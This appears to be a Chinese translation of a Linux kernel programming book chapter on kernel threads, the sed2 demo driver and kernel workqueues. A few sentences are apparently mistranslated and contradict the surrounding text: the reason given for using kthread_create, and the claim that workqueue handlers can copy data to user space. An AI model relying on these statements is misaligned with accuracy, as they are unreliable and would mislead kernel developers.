大多数内核线程都是为了特定目的而创建的;通常它们在系统启动时创建并永远运行(在一个无限循环中)。它们会进入睡眠状态,当需要做一些工作时,就会唤醒,执行它,并立即回到睡眠状态。一个很好的例子是ksoftirqd/n内核线程(通常每个 CPU 核心有一个;n表示核心编号);当软中断负载过重时,它们会被内核唤醒,以帮助消耗待处理的软中断(我们在第四章中讨论过这一点,处理硬件中断,在使用 ksoftirqd 内核线程部分;在前面的ps输出中,您可以在双核 VM 上看到它们;它们的 PID 分别为 10 和 18)。同样,内核还使用“kworker”工作线程,它们是动态的 - 随着工作的需要而来去(快速运行ps aux | grep kworker应该会显示出其中几个)。

让我们来看看内核线程的一些特点:

  • 它们总是在内核 VAS 中执行,在内核模式下具有内核特权。

  • 它们总是在进程上下文中运行(参考伴随指南Linux 内核编程 - 第六章,内核内部要点 - 进程和线程理解进程和中断上下文部分),它们有一个任务结构(因此有一个 PID 和所有其他典型的线程属性,尽管它们的凭据总是设置为0,意味着具有根访问权限)。

  • 它们与其他线程(包括用户模式线程)竞争 CPU 资源,通过 CPU 调度程序;内核线程(通常缩写为kthreads)确实会获得优先级的轻微提升。

  • 由于它们纯粹在内核 VAS 中运行,它们对用户 VAS 是盲目的;因此,它们的current->mm值始终为NULL(实际上,这是识别内核线程的一种快速方法)。

  • 所有内核线程都是从名为kthreadd的内核线程派生出来的,它的 PID 是2。这是在早期引导期间由内核(技术上是第一个 PID 为0swapper/0内核线程)创建的;你可以通过执行pstree -t -p 2来验证这一点(查阅pstree(1)的手册页以获取使用详情)。

  • 它们有命名约定。内核线程的命名方式不同,尽管有一些约定是遵循的。通常,名称以/n结尾;这表示它是一个每 CPU 内核线程。数字指定了它所关联的 CPU 核心(我们在伴随指南Linux 内核编程 - 第十一章,CPU 调度程序 - 第二部分中介绍了 CPU 亲和力,在理解、查询和设置 CPU 亲和力掩码部分)。此外,内核线程用于特定目的,它们的名称反映了这一点;例如,irq/%d-%s(其中%d是 PID,%s是名称)是一个线程中断处理程序(在第四章,处理硬件中断中介绍)。你可以通过阅读内核文档减少由每 CPU 内核线程引起的 OS 抖动,了解如何找到内核线程的名称以及内核线程的许多实际用途(以及如何调整它们以减少抖动),网址为www.kernel.org/doc/Documentation/kernel-per-CPU-kthreads.txt

我们感兴趣的是,内核模块和设备驱动程序通常需要在后台运行某些代码路径,与它和内核通常执行的其他工作并行进行。假设你需要在发生异步事件时阻塞,或者需要在某些事件发生时在内核中执行一个用户模式进程,这是耗时的。内核线程在这里就派上用场了;因此,我们将重点关注作为模块作者如何创建和管理内核线程。

是的,你可以在内核中执行用户模式进程或应用程序!内核提供了一些用户模式辅助umh)API 来实现这一点,其中一个常见的是call_usermode_helper()。你可以在这里查看它的实现:kernel/umh.c:int call_usermodehelper(const char *path, char **argv, char **envp, int wait)。不过要小心,你不应该滥用这个 API 从内核中调用任何应用程序 - 这只是糟糕的设计!在内核中使用这个 API 的实际用例非常少;使用cscope(1)来查看它。

好的;有了这些,让我们学习如何创建和使用内核线程。

一个简单的演示 - 创建一个内核线程

创建内核线程的主要 API(对于我们模块/驱动程序的作者来说)是kthread_create();它是一个调用kthread_create_on_node()API 的宏。事实是,仅仅调用kthread_create()是不足以使您的内核线程执行任何有用的操作的;这是因为,虽然这个宏确实创建了内核线程,但您需要通过将其状态设置为运行并唤醒它来使其成为调度程序的候选者。这可以通过wake_up_process()API 来实现(一旦成功,它将被排入 CPU 运行队列,从而使其可以在不久的将来运行)。好消息是,kthread_run()辅助宏可以用来一次性调用kthread_create()wake_up_process()。让我们来看看它在内核中的实现:

// include/linux/kthread.h
/**
 * kthread_run - create and wake a thread.
 * @threadfn: the function to run until signal_pending(current).
 * @data: data ptr for @threadfn.
 * @namefmt: printf-style name for the thread.
 *
 * Description: Convenient wrapper for kthread_create() followed by
 * wake_up_process(). Returns the kthread or ERR_PTR(-ENOMEM).
 */
#define kthread_run(threadfn, data, namefmt, ...) \
({ \
    struct task_struct *__k \
        = kthread_create(threadfn, data, namefmt, ## __VA_ARGS__); \
    if (!IS_ERR(__k)) \
        wake_up_process(__k); \
    __k; \
})

前面代码片段中的注释清楚地说明了kthread_run()的参数和返回值。

为了演示如何创建和使用内核线程,我们将编写一个名为kthread_simple的内核模块。以下是其init方法的相关代码:

// ch5/kthread_simple/kthread_simple.c
static int kthread_simple_init(void)
{   [ ... ]
    gkthrd_ts = kthread_run(simple_kthread, NULL, "llkd/%s", KTHREAD_NAME);
    if (IS_ERR(gkthrd_ts)) {
        ret = PTR_ERR(gkthrd_ts); // it's usually -ENOMEM
        pr_err("kthread creation failed (%d)\n", ret);
        return ret;
    } 
    get_task_struct(gkthrd_ts); // inc refcnt, marking the task struct as in use
    [ ... ]

kthread_run()的第一个参数是新的内核线程的核心功能!在这里,我们不打算向我们的新生内核线程传递任何数据,这就是为什么第二个参数是NULL。其余参数是 printf 风格的格式字符串,指定了它的名称。一旦成功,它将返回指向新内核线程任务结构的指针(我们在伴随指南Linux 内核编程-第六章-内核内部要点-进程和线程-了解和访问内核任务结构部分中详细介绍了任务结构)。现在,get_task_struct()内联函数很重要-它增加了传递给它的任务结构的引用计数。这标记着任务正在使用中(稍后,在清理代码中,我们将发出kthread_stop()辅助例程;它将执行相反的操作,从而减少(最终释放)任务结构的引用计数)。

现在,让我们看看我们的内核线程本身(我们只会显示相关的代码片段):

static int simple_kthread(void *arg)
{
    PRINT_CTX();
    if (!current->mm)
        pr_info("mm field NULL, we are a kernel thread!\n");

一旦kthread_run()成功创建内核线程,它将开始与系统的其余部分并行运行其代码:现在它是可调度的线程!我们的PRINT_CTX()宏显示它在进程上下文中运行,确实是一个内核线程。(我们模仿了将其名称括在方括号中的传统,以显示这一点。验证当前mm指针是否为NULL的检查证实了这一点。)您可以在图 5.5中看到输出。您内核线程例程中的所有代码都将在进程上下文中运行;因此,您可以执行阻塞操作(与中断上下文不同)。

接下来,默认情况下,内核线程以 root 所有权运行,并且所有信号都被屏蔽。但是,作为一个简单的测试案例,我们可以通过allow_signal()辅助例程打开一些信号。之后,我们简单地循环(我们很快会到kthread_should_stop()例程);在循环体中,我们通过将任务状态设置为TASK_INTERRUPTIBLE(意味着睡眠可以被信号中断)并调用schedule()来让自己进入睡眠状态:

    allow_signal(SIGINT);
    allow_signal(SIGQUIT);

    while (!kthread_should_stop()) {
        pr_info("FYI, I, kernel thread PID %d, am going to sleep now...\n",
            current->pid);
        set_current_state(TASK_INTERRUPTIBLE);
        schedule(); // yield the processor, go to sleep...
        /* Aaaaaand we're back! Here, it's typically due to either the
         * SIGINT or SIGQUIT signal hitting us! */
        if (signal_pending(current))
            break;
    }

因此,只有当我们被唤醒时-当您向内核线程发送SIGINTSIGQUIT信号时会发生这种情况-我们才会恢复执行。当这发生时,我们跳出循环(请注意我们首先使用signal_pending()辅助例程验证了这一点!)。现在,我们的内核线程在循环外恢复执行,只是(故意而戏剧性地)死亡:

    set_current_state(TASK_RUNNING);
    pr_info("FYI, I, kernel thread PID %d, have been rudely awoken; I shall"
            " now exit... Good day Sir!\n", current->pid);
    return 0;
}

内核模块的清理代码如下:

static void kthread_simple_exit(void)
{
    kthread_stop(gkthrd_ts);   /* waits for our kthread to terminate; 
                                * it also internally invokes 
                                * the put_task_struct() to decrement task's  
                                * reference count
                                */
    pr_info("kthread stopped, and LKM removed.\n");
}

在清理代码路径中,你应该调用kthread_stop(),它执行必要的清理。在内部,它实际上等待内核线程死亡(通过wait_for_completion()例程)。因此,如果你在没有通过发送SIGINTSIGQUIT信号杀死内核线程的情况下调用rmmodrmmod进程将似乎挂起;它(也就是rmmod进程)正在等待(嗯,kthread_stop()实际上是在等待)内核线程死亡!这就是为什么,如果内核线程还没有被发送信号,这可能会导致问题。

处理内核线程停止的更好方法应该不是从用户空间发送信号给它。确实有一个更好的方法:正确的方法是使用kthread_should_stop()例程作为它运行的while循环的(反向)条件,这正是我们要做的!在前面的代码中,我们有以下内容:

while (!kthread_should_stop()) {

kthread_should_stop()例程返回一个布尔值,如果内核线程现在应该停止(终止)则为真!在清理代码路径中调用kthread_stop()将导致kthread_should_stop()返回 true,从而导致我们的内核线程跳出while循环并通过简单的return 0;终止。这个值(0)被传回kthread_stop()。由于这个原因,即使没有向我们的内核线程发送信号,内核模块也能成功卸载。我们将把测试这种情况留给你作为一个简单的练习!

注意kthread_stop()的返回值可能会有用:它是一个整数,是运行的线程函数的结果 - 实际上,它说明了你的内核线程是否成功(返回0)完成了它的工作。如果你的内核线程从未被唤醒,它将是值-EINTR

运行 kthread_simple 内核线程演示

现在,让我们试一下(ch5/kthread_simple)!我们可以通过insmod(8)进行模块插入;模块按计划插入到内核中。如下截图所示的内核日志,以及快速的ps,证明我们全新的内核线程确实已经被创建。另外,正如你从代码(ch5/kthread_simple/kthread_simple.c)中看到的,我们的内核线程将自己置于睡眠状态(通过将其状态设置为TASK_INTERRUPTIBLE,然后调用schedule()):

图 5.5 - 部分截图显示我们的内核线程诞生、活着 - 还有,嗯,睡着了

通过名称快速运行ps(1) grep来查找我们的内核线程,可以看到我们的内核线程是活着的(而且睡着的)。

$ ps -e |grep kt_simple
 11372   ?        00:00:00 llkd/kt_simple
$

让我们来点新意,给我们的内核线程发送SIGQUIT信号。这将唤醒它(因为我们已经设置了它的信号掩码以允许SIGINTSIGQUIT信号),将其状态设置为TASK_RUNNING,然后,简单地退出。然后我们使用rmmod(8)来移除内核模块,如下截图所示:

图 5.6 - 部分截图显示我们的内核线程唤醒和模块成功卸载

现在你已经了解了如何创建和使用内核线程,让我们继续设计和实现我们的sed驱动程序的第二个版本。

sed2 驱动程序 - 设计与实现

在这一部分(如在“sed”驱动程序 - 演示内核定时器、内核线程和工作队列部分中提到的),我们将编写sed1驱动程序的下一个演变,称为sed2

sed2 - 设计

我们的sed v2(sed2;代码:ch5/sed2/)小项目与我们的sed1项目非常相似。关键区别在于,这一次,我们将通过驱动程序专门为此目的创建的内核线程来进行“工作”。这个版本与上一个版本的主要区别如下:

  • 有一个全局共享的内存缓冲区用于保存元数据和有效载荷;也就是说,要加密/解密的消息。这是我们驱动程序上下文结构struct stMyCtx中的struct sed_ds->shmem成员。

  • 加密/解密的工作现在在内核线程(由此驱动程序生成)中执行;我们让内核线程保持休眠。只有在出现工作时,驱动程序才会唤醒 kthread 并让其消耗(执行)工作。

  • 现在我们在 kthread 的上下文中运行内核定时器,并显示它是否过早到期(表明未满足截止日期)。

  • 快速测试表明,在内核线程的关键部分消除了几个pr_debug() printks 可以大大减少完成工作所需的时间!(如果您希望消除此开销,可以随时更改 Makefile 的EXTRA_CFLAGS变量以取消定义DEBUG符号(通过使用EXTRA_CFLAGS += -UDEBUG)!)。因此,在这里,截止日期更长(10 毫秒)。

因此,简而言之,这里的整个想法主要是演示使用自定义内核线程以及内核定时器来超时操作。一个重要的理解点改变了整体设计(特别是用户空间应用程序与我们的sed2驱动程序交互的方式),即由于我们在内核线程的上下文中运行工作,这与发出ioctl()的进程的上下文不同。因此,非常重要的是要意识到以下几点:

  • 您不能简单地将数据从内核线程的进程上下文传输到用户空间进程 - 它们完全不同(它们在不同的虚拟地址空间中运行:用户模式进程有自己完整的 VAS 和 PID 等;内核线程实际上生活在内核 VAS 中,有自己的 PID 和内核模式堆栈)。因此,使用copy_{from|to}_user()(以及类似的)例程来从 kthread 通信到用户模式应用程序是不可能的。

  • 危险的竞争可能性很大;内核线程与用户进程上下文异步运行;因此,如果我们不小心,就可能产生与并发相关的错误。这就是本书最后两章的整个原因,我们将在其中涵盖内核同步、锁定(以及相关)概念和技术。目前,请耐心等待 - 我们通过使用一些简单的轮询技巧来代替适当的同步,尽量保持简单。

我们的sed2项目内有四个操作:

  • 加密消息(这也将消息从用户空间传输到驱动程序;因此,这必须首先完成)。

  • 解密消息。

  • 检索消息(从驱动程序发送到用户空间应用程序)。

  • 销毁消息(实际上,它被重置 - 驱动程序内的内存和元数据被清除)。

重要的是要意识到,由于存在竞争的可能性,我们不能简单地直接从 kthread 传输数据到用户空间应用程序。因此,我们必须执行以下操作:

  • 我们必须通过发出ioctl()系统调用在用户空间进程的进程上下文中执行检索和销毁操作。

  • 我们必须在我们的内核线程的进程上下文中异步执行加密和解密操作(我们在内核线程中运行它,不是因为我们必须,而是因为我们想要;毕竟,这是这个主题的重点!)。

这个设计可以用一个简单的 ASCII 艺术图来总结:

图 5.7 - 我们的 sed2 迷你项目的高级设计

好了,现在让我们来查看sed2的相关代码实现。

sed2 驱动程序 - 代码实现

在代码方面,sed2驱动程序中用于加密操作的ioctl()方法的代码如下(为了清晰起见,我们不会在这里显示所有的错误检查代码;我们只会显示最相关的部分)。您可以在ch5/sed2/找到完整的代码:

// ch5/sed2/sed2_driver/sed2_drv.c
[ ... ]
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 36)
static long ioctl_miscdrv(struct file *filp, unsigned int cmd, unsigned long arg)
#else
static int ioctl_miscdrv(struct inode *ino, struct file *filp, unsigned int cmd, unsigned long arg)
#endif
{
    struct stMyCtx *priv = gpriv;

[ ... ]
switch (cmd) {
    case IOCTL_LLKD_SED_IOC_ENCRYPT_MSG: /* kthread: encrypts the msg passed in */
        [ ... ]
        if (atomic_read(&priv->msg_state) == XF_ENCRYPT) { // already encrypted?
            pr_notice("encrypt op: message is currently encrypted; aborting op...\n");
            return -EBADRQC; /* 'Invalid request code' */
        }
        if (copy_from_user(priv->kdata, (struct sed_ds *)arg, sizeof(struct sed_ds))) {
         [ ... ]

        POLL_ON_WORK_DONE(1);
        /* Wake up our kernel thread and have it encrypt the message ! */
        if (!wake_up_process(priv->kthrd_work))
            pr_warn("worker kthread already running when awoken?\n");
        [ ... ]

驱动程序在其ioctl()方法中执行了几个有效性检查后,开始工作:对于加密操作,我们检查当前有效载荷是否已经加密(显然,我们在上下文结构中有一个状态成员,用于更新并保存这些信息;即priv->msg_state)。如果一切正常,它会从用户空间应用程序中复制消息(以及struct sed_ds中所需的元数据)。然后,它唤醒我们的内核线程(通过wake_up_process() API;参数是从kthread_create() API 返回的任务结构指针)。这会导致内核线程恢复执行!

init代码中,我们使用kthread_create() API(而不是kthread_run()宏)创建了 kthread,因为我们希望 kthread 立即运行!相反,我们更喜欢让它保持睡眠状态,只有在需要工作时才唤醒它。这是我们在使用工作线程时应该遵循的典型方法(所谓的管理者-工作者模型)。

在我们的init方法中创建内核线程的代码如下:

static int __init sed2_drv_init(void)
{
    [ ... ]
    gpriv->kthrd_work = kthread_create(worker_kthread, NULL, "%s/%s", DRVNAME, KTHREAD_NAME);
    if (IS_ERR(gpriv->kthrd_work)) {
        ret = PTR_ERR(gpriv->kthrd_work); // it's usually -ENOMEM
        dev_err(dev, "kthread creation failed (%d)\n", ret);
        return ret;
    }
    get_task_struct(gpriv->kthrd_work); // inc refcnt, marking the task struct as in use
    pr_info("worker kthread created... (PID %d)\n", task_pid_nr(gpriv->kthrd_work));
    [ ... ]

之后,通过timer_setup() API 初始化了定时器。我们的工作线程的(截断的)代码如下所示:

static int worker_kthread(void *arg)
{
    struct stMyCtx *priv = gpriv;

    while (!kthread_should_stop()) {
        /* Start - the timer; set it to expire in TIMER_EXPIRE_MS ms */
        if (mod_timer(&priv->timr, jiffies + msecs_to_jiffies(TIMER_EXPIRE_MS)))
            pr_alert("timer already active?\n");
        priv->t1 = ktime_get_real_ns();

        /*--------------- Critical section begins --------------------------*/
        atomic_set(&priv->work_done, 0);
        switch (priv->kdata->data_xform) {
        [ ... ]
        case XF_ENCRYPT:
            pr_debug("data transform type: XF_ENCRYPT\n");
            encrypt_decrypt_payload(WORK_IS_ENCRYPT, priv->kdata);
 atomic_set(&priv->msg_state, XF_ENCRYPT);
            break;
        case XF_DECRYPT:
            pr_debug("data transform type: XF_DECRYPT\n");
            encrypt_decrypt_payload(WORK_IS_DECRYPT, priv->kdata);
            atomic_set(&priv->msg_state, XF_DECRYPT);
            break;
        [ ... ]
        priv->t2 = ktime_get_real_ns();
        // work done, cancel the timeout
        if (del_timer(&priv->timr) == 0)
        [ ... ]

在这里,您可以看到定时器被启动(mod_timer()),根据需要调用实际的加密/解密功能,捕获时间戳,然后取消内核定时器。这就是sed1中发生的事情,只是这次(sed2)工作发生在我们的内核线程的上下文中!内核线程函数然后使自己进入睡眠状态,通过(正如在配套指南*Linux 内核编程 - 第十章,CPU 调度器 - 第一部分和第十一章,CPU 调度器 - 第二部分中所介绍的)将任务状态设置为睡眠状态(TASK_INTERRUPTIBLE)并调用schedule()来让出处理器。

等一下 - 在ioctl()方法中,您是否注意到在唤醒内核线程之前调用了POLL_ON_WORK_DONE(1);宏?看一下以下代码:

        [ ... ]       
         POLL_ON_WORK_DONE(1);
        /* Wake up our kernel thread 
         * and have it encrypt the message ! 
         */
        if (!wake_up_process(priv->kthrd_work))
            pr_warn("worker kthread already running when awoken?\n");
        /*
         * Now, our kernel thread is doing the 'work'; 
         * it will either be done, or it will miss it's 
         * deadline and fail. Attempting to lookup the payload 
         * or do anything more here would be a
         * mistake, a race! Why? We're currently running in 
         * the ioctl() process context; the kernel thread runs 
         * in it's own process context! (If we must look it up, 
         * then we really require a (mutex) lock; we shall
         * discuss locking in detail in the book's last two chapters.
         */
        break;

使用轮询来规避可能的竞争:如果一个(用户模式)线程调用ioctl()来加密给定的消息,同时在另一个 CPU 核心上,另一个用户模式线程调用ioctl()来解密给定的消息会发生什么?这将导致并发问题!再次强调,本书的最后两章致力于理解和处理这些问题;但在这里和现在,我们能做什么?让我们实现一个简陋的同步解决方案:轮询

这并不理想,但只能这样做。我们将利用驱动程序在驱动程序上下文结构中设置的一个名为work_done的原子变量,当工作完成时,其值为1;否则为0。我们在这个宏中进行轮询:

/*
 * Is our kthread performing any ongoing work right now? poll...
 * Not ideal (but we'll live with it); ideally, use a lock (we cover locking in
 * this book's last two chapters)
 */
#define POLL_ON_WORK_DONE(sleep_ms) do { \
        while (atomic_read(&priv->work_done) == 0) \
            msleep_interruptible(sleep_ms); \
} while (0)

为了使这段代码看起来更加可接受,我们不会独占处理器;如果工作还没有完成,我们会通过msleep_interruptible() API 睡眠一毫秒,并再次尝试。

到目前为止,我们已经涵盖了sed2encryptdecrypt功能的相关代码(这两个功能都在我们的工作线程的上下文中运行)。现在,让我们看看剩下的两个功能 - 检索和销毁消息。这些功能是在原始用户空间进程上下文中执行的 - 发出ioctl()系统调用的进程(或线程)。以下是它们的相关代码:

// ch5/sed2/sed2_driver/sed2_drv.c : ioctl() method
[ ... ]
case IOCTL_LLKD_SED_IOC_RETRIEVE_MSG: /* ioctl: retrieves the encrypted msg */
        if (atomic_read(&priv->timed_out) == 1) {
            pr_debug("the encrypt op had timed out! returning -ETIMEDOUT\n");
            return -ETIMEDOUT;
        }
        if (copy_to_user((struct sed_ds *)arg, (struct sed_ds *)priv->kdata, sizeof(struct sed_ds))) {
           //  [ ... error handling ... ]
        break;
    case IOCTL_LLKD_SED_IOC_DESTROY_MSG: /* ioctl: destroys the msg */
        pr_debug("In ioctl 'destroy' cmd option\n");
        memset(priv->kdata, 0, sizeof(struct sed_ds));
        atomic_set(&priv->msg_state, 0);
        atomic_set(&priv->work_done, 1);
        atomic_set(&priv->timed_out, 0);
        priv->t1 = priv->t2 = 0;
        break;
[ ... ]

现在您已经看到了(相关的)sed2代码,让我们来尝试一下吧!

sed2 - 尝试它

让我们来看看我们的sed2迷你项目的一个示例运行,确保您仔细查看它们:

图 5.8 - 我们的 sed2 迷你项目展示了一个交互式菜单系统。在这里,一条消息已成功加密

因此,我们已经加密了一条消息,但我们如何查看它呢?简单:我们使用菜单!选择选项2来检索(加密的)消息(它将显示供您悠闲阅读),选项3来解密它,再次选择选项2来查看它,选项5来查看内核日志-非常有用!以下截图显示了其中一些选项:

图 5.9-我们的 sed2 迷你项目展示了一个交互式菜单系统。在这里,一条消息已经成功加密

正如内核日志中所示,我们的用户模式应用程序(userapp_sed2_dbg_asan)已经打开了设备并发出了检索操作,然后几秒钟后进行了加密操作(前面截图左下角的时间戳可以帮助你弄清楚这一点)。然后,驱动程序唤醒了内核线程;你可以看到它的 printk 输出,以及PRINT_CTX()的输出,如下所示:

[41178.885577] sed2_drv:worker_kthread(): 001) [sed2_drv/worker]:24117   |  ...0   /* worker_kthread() */

然后,加密操作完成(成功并在截止日期内;定时器被取消):

[41178.888875] sed2_drv:worker_kthread(): processing complete, timeout cancelled

类似地,其他操作也在进行中。我们将在这里避免显示用户空间应用程序的代码,因为它是一个简单的用户模式“C”程序。这次(不寻常的是),它是一个带有简单菜单的交互式应用程序(如屏幕截图所示);请查看一下。我将让你自己详细阅读和理解sed2代码,并尝试自己使用它。

查询和设置内核线程的调度策略/优先级

最后,你如何查询和/或更改内核线程的调度策略和(实时)优先级呢?内核为此提供了 API(sched_setscheduler_nocheck()API 经常在内核中使用)。作为一个实际的例子,内核将需要内核线程来处理中断-我们在第四章中介绍的线程化中断模型,在内部实现线程化中断部分中已经涵盖了。

它通过kthread_create()创建这些线程,并通过sched_setscheduler_nocheck()API 更改它们的调度策略和实时优先级。我们不会在这里明确介绍它们的用法,因为我们在配套指南Linux 内核编程第十一章“CPU 调度器-第二部分”中已经介绍过了。有趣的是:sched_setscheduler_nocheck()API 只是对底层_sched_setscheduler()例程的简单包装。为什么呢?_sched_setscheduler()API 根本没有被导出,因此模块作者无法使用它;sched_setscheduler_nocheck()包装器是通过EXPORT_SYMBOL_GPL()宏导出的(这意味着只有 GPL 许可的代码才能使用它!)。

那么,如何查询和/或更改用户空间线程的调度策略和(实时)优先级呢?Pthreads 库提供了包装 API 来做到这一点;pthread_[get|set]schedparam(3)对可以在这里使用,因为它们是对sched_[get|set]scheduler(2)sched_[get|set]attr(2)等系统调用的包装。它们需要 root 访问权限,并且出于安全目的,在二进制可执行文件中设置了CAP_SYS_NICE能力位。

尽管本书只涵盖内核编程,但我在这里提到它,因为这是一个非常强大的东西:实际上,用户空间应用程序的设计者/开发者有能力创建和部署完全适合其目的的应用程序线程:具有不同调度策略的实时线程,实时优先级在 1 到 99 之间,非实时线程(基本 nice 值为0),等等。不加区别地创建内核线程是不被赞成的,原因很明显-每个额外的内核线程都会增加开销,无论是内存还是 CPU 周期。当你处于设计阶段时,请暂停一下并思考:你真的需要一个或多个内核线程吗?还是有更好的方法来做这些事情?工作队列通常就是这样-更好的方法!

现在,让我们来看看工作队列!

使用内核工作队列

工作队列是在创建和管理内核工作线程方面的一个抽象层。它们有助于解决一个关键问题:直接与内核线程一起工作,特别是当涉及到多个线程时,不仅困难,而且很容易导致危险的错误,如竞争(从而可能导致死锁),以及线程管理不善,导致效率损失。工作队列是在 Linux 内核中使用的底半部机制(连同 tasklets 和 softirqs)。

Linux 内核中的现代工作队列实现 - 称为并发管理工作队列cmwq)- 实际上是一个非常复杂的框架,具有根据特定要求动态和高效地提供内核线程的各种策略。

在这本书中,我们更喜欢专注于内核全局工作队列的使用,而不是其内部设计和实现。如果您想了解更多关于内部工作的信息,我建议您阅读这里的“官方”内核文档:www.kernel.org/doc/Documentation/core-api/workqueue.rst进一步阅读部分还包含一些有用的资源。

工作队列的关键特征如下:

  • 工作队列任务(回调)始终在可抢占的进程上下文中执行。一旦你意识到它们是由内核(工作)线程执行的,这一点就很明显,这些线程在可抢占的进程上下文中运行。

  • 默认情况下,所有中断都是启用的,不会采取任何锁。

  • 上述观点意味着你可以在你的工作队列函数中进行漫长的、阻塞的、I/O 密集型的工作(这与原子上下文(如硬中断、tasklet 或 softirq)完全相反!)。

  • 就像你了解内核线程一样,通过典型的copy_[to|from]_user()和类似的例程传输数据到用户空间(可能);这是因为你的工作队列处理程序(函数)在其自己的进程上下文中执行 - 即内核线程的上下文。正如我们所知,内核线程没有用户映射。

  • 内核工作队列框架维护工作池。这些工作池实际上是以不同方式组织的几个内核工作线程。内核处理所有管理它们以及并发性问题的复杂性。以下截图显示了几个工作队列内核工作线程(这是在我的 x86_64 Ubuntu 20.04 虚拟机上拍摄的):

图 5.10 - 为内核工作队列的底半部机制提供服务的几个内核线程

正如我们在创建和使用内核线程部分中提到的,了解 kthread 的名称并了解 kthreads 的许多实际用途(以及如何调整它们以减少抖动)的一种方法是阅读相关的内核文档;也就是说,减少由于每个 CPU kthreads 而导致的 OS 抖动www.kernel.org/doc/Documentation/kernel-per-CPU-kthreads.txt)。

关于如何使用工作队列(以及其他底半部机制),请参阅第四章处理硬件中断硬中断、tasklet 和线程处理程序 - 何时使用部分,特别是那里的表格。

重要的是要理解内核始终有一个可用的默认工作队列;它被称为内核全局工作队列系统工作队列。为了避免过度使用系统,强烈建议您使用它。我们将使用内核全局工作队列,将我们的工作任务排队,并让它消耗我们的工作。

你甚至可以使用和创建其他类型的工作队列!内核提供了复杂的cmwq框架,以及一组 API,帮助您创建特定类型的工作队列。我们将在下一节中更详细地讨论这个问题。

最低限度的工作队列内部

我们在这里不会深入讨论工作队列的内部;实际上,我们只会浅尝辄止(正如我们之前提到的,我们在这里的目的只是专注于使用内核全局工作队列)。

始终建议您使用默认的内核全局(系统)工作队列来处理异步后台工作。如果认为这不够用,不用担心 - 有一些接口可以让您创建自己的工作队列。(请记住,这样做会增加系统的压力!)要分配一个新的工作队列实例,您可以使用alloc_workqueue() API;这是用于创建(分配)工作队列的主要 API(通过现代cmwq框架):

include/linux/workqueue.h
struct workqueue_struct *alloc_workqueue(const char *fmt, unsigned int flags, int max_active, ...);

请注意,它是通过EXPORT_SYMBOL_GPL()导出的,这意味着它只对使用 GPL 许可证的模块和驱动程序可用。fmt(以及max_active后面的参数)指定了如何命名池中的工作队列线程。flags参数指定了特殊行为值或其他特性的位掩码,例如以下内容:

  • 当工作队列在内存压力下需要前进保证时,请使用WQ_MEM_RECLAIM标志。

  • 当工作项需要由一个优先级较高的 kthreads 工作池来服务时,请使用WQ_HIGHPRI标志。

  • 使用WQ_SYSFS标志,使一些工作队列的细节通过 sysfs 对用户空间可见(实际上,在/sys/devices/virtual/workqueue/下查看)。

  • 同样,还有其他几个标志。查看官方内核文档以获取更多详细信息(www.kernel.org/doc/Documentation/core-api/workqueue.rst;它提供了一些有趣的内容,关于减少内核中工作队列执行的“抖动”)。

max_active参数用于指定每个 CPU 可以分配给工作项的最大内核线程数。

大体上,有两种类型的工作队列:

  • 单线程ST工作队列或有序工作队列:在这里,系统中任何给定时间只能有一个线程处于活动状态。它们可以使用alloc_ordered_workqueue()来创建(实际上只是一个在alloc_workqueue()上指定有序标志和max_active设置为1的包装器)。

  • 多线程MT工作队列:这是默认选项。确切的flags指定了行为;max_active指定了每个 CPU 可能拥有的工作项的最大工作线程数。

所有的工作队列都可以通过alloc_workqueue() API 来创建。创建它们的代码如下:

// kernel/workqueue.c
​int __init workqueue_init_early(void)
{
    [ ... ]
    system_wq = alloc_workqueue("events", 0, 0);
    system_highpri_wq = alloc_workqueue("events_highpri", WQ_HIGHPRI, 0);
    system_long_wq = alloc_workqueue("events_long", 0, 0);
    system_unbound_wq = alloc_workqueue("events_unbound", WQ_UNBOUND, WQ_UNBOUND_MAX_ACTIVE);
    system_freezable_wq = alloc_workqueue("events_freezable", WQ_FREEZABLE, 0);
    system_power_efficient_wq = alloc_workqueue("events_power_efficient", WQ_POWER_EFFICIENT, 0);
    system_freezable_power_efficient_wq = alloc_workqueue("events_freezable_power_efficient",
                          WQ_FREEZABLE | WQ_POWER_EFFICIENT, 0);
[ ... ]

这发生在引导过程的早期(确切地说是在早期的 init 内核代码路径中)。第一个被加粗了;这是正在创建的内核全局工作队列或系统工作队列。它的工作池被命名为events。(属于这个池的内核线程的名称遵循这个命名约定,并且在它们的名称中有events这个词;再次参见图 5.10。其他工作池的 kthreads 也是如此。)

底层框架已经发展了很多;早期的传统工作队列框架(2010 年之前)曾经使用create_workqueue()和相关 API;然而,现在这些被认为是不推荐的。现代并发管理工作队列cmwq)框架(2010 年以后)有趣的是,它向后兼容旧的框架。以下表总结了旧的工作队列 API 与现代 cmwq 的映射:

传统(旧的和不推荐的)工作队列 API 现代(cmwq)工作队列 API
create_workqueue(name) alloc_workqueue(name,WQ_MEM_RECLAIM, 1)
create_singlethread_workqueue(name) alloc_ordered_workqueue(name, WQ_MEM_RECLAIM)
create_freezable_workqueue(name) alloc_workqueue(name, WQ_FREEZABLE &#124; WQ_UNBOUND &#124; WQ_MEM_RECLAIM, 1)

表 5.3 - 旧的工作队列 API 与现代 cmwq 的映射

以下图表以简单的概念方式总结了内核工作队列子系统:

图 5.11 - 内核工作队列子系统的简单概念视图

内核的工作队列框架动态维护这些工作线程池;一些,如events工作队列(对应于全局内核工作队列)是通用的,而其他一些是为特定目的创建和维护的(就其内核线程的名称而言,如块 I/O,kworker*blockd,内存控制,kworker*mm_percpu_wq,特定设备的,如 tpm,tpm_dev_wq,CPU 频率管理驱动程序,devfreq_wq等)。

请注意,内核工作队列子系统自动、优雅、高效地维护所有这些工作队列(及其相关的内核线程的工作线程池)。

那么,您如何实际使用工作队列?下一节将向您展示如何使用全局内核工作队列。接下来将是一个演示内核模块,清楚地展示了其用法。

使用全局内核工作队列

在本节中,我们将学习如何使用全局内核(也称为系统或事件工作队列,这是默认的)工作队列。这通常涉及使用您的工作任务初始化工作队列,让它消耗您的工作,并最终进行清理。

为您的任务初始化全局内核工作队列 - INIT_WORK()

将工作排队到这个工作队列上实际上非常容易:使用INIT_WORK()宏!这个宏接受两个参数:

#include <linux/workqueue.h>
INIT_WORK(struct work_struct *_work, work_func_t _func);

work_struct结构是工作队列的工作结构(至少从模块/驱动程序作者的角度来看);您需要为其分配内存并将指针作为第一个参数传递。INIT_WORK()的第二个参数是指向工作队列回调函数的指针 - 这个函数将被工作队列的工作线程消耗!work_func_t是一个typedef,指定了这个函数的签名,即void (*work_func_t)(struct work_struct *work)

让您的工作任务执行 - schedule_work()

